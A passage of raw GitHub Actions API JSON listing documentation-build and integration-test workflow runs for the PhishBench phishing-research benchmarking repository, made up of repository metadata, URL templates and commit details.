ithub.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601342/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601342/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680616021","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601342/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601342/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601342/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/1732356","head_commit":{"id":"8c9c964c74f44755112798e25e06dfde858c6a48","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs","timestamp":"2022-08-05T09:20:25Z","author":{"name":"Victor Zeng","email":"zacker150@hotmail.com"},"committer":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802601274,"name":"Build Documentation","node_id":"WFR_kwLOCLXpC86nDE06","head_branch":"docs","head_sha":"8c9c964c74f44755112798e25e06dfde858c6a48","path":".github/workflows/Documentation.yml","display_title":"Update docs","run_number":83,"event":"push","status":"completed","conclusion":"success","workflow_id":13579685,"check_suite_id":7680615891,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByczl0w","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601274","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802601274","pull_requests":[],"created_at":"2022-08-05T09:20:27Z","updated_at":"2022-08-05T09:22:21Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:20:27Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601274/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601274/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680615891","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601274/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601274/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601274/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/13579685","head_commit":{"id":"8c9c964c74f44755112798e25e06dfde858c6a48","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs","timestamp":"2022-08-05T09:20:25Z","author":{"name":"Victor Zeng","email":"zacker150@hotmail.com"},"committer":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802601272,"name":"Website TF-IDF Integration Test","node_id":"WFR_kwLOCLXpC86nDE04","head_branch":"docs","head_sha":"8c9c964c74f44755112798e25e06dfde858c6a48","path":".github/workflows/Website_Tfidf_Integration_Test.yml","display_title":"Update docs","run_number":100,"event":"push","status":"completed","conclusion":"success","workflow_id":12794729,"check_suite_id":7680615887,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByczlzw","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601272","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802601272","pull_requests":[],"created_at":"2022-08-05T09:20:27Z","updated_at":"2022-08-05T09:40:35Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:20:27Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601272/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601272/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680615887","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601272/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601272/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601272/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794729","head_commit":{"id":"8c9c964c74f44755112798e25e06dfde858c6a48","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs","timestamp":"2022-08-05T09:20:25Z","author":{"name":"Victor Zeng","email":"zacker150@hotmail.com"},"committer":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"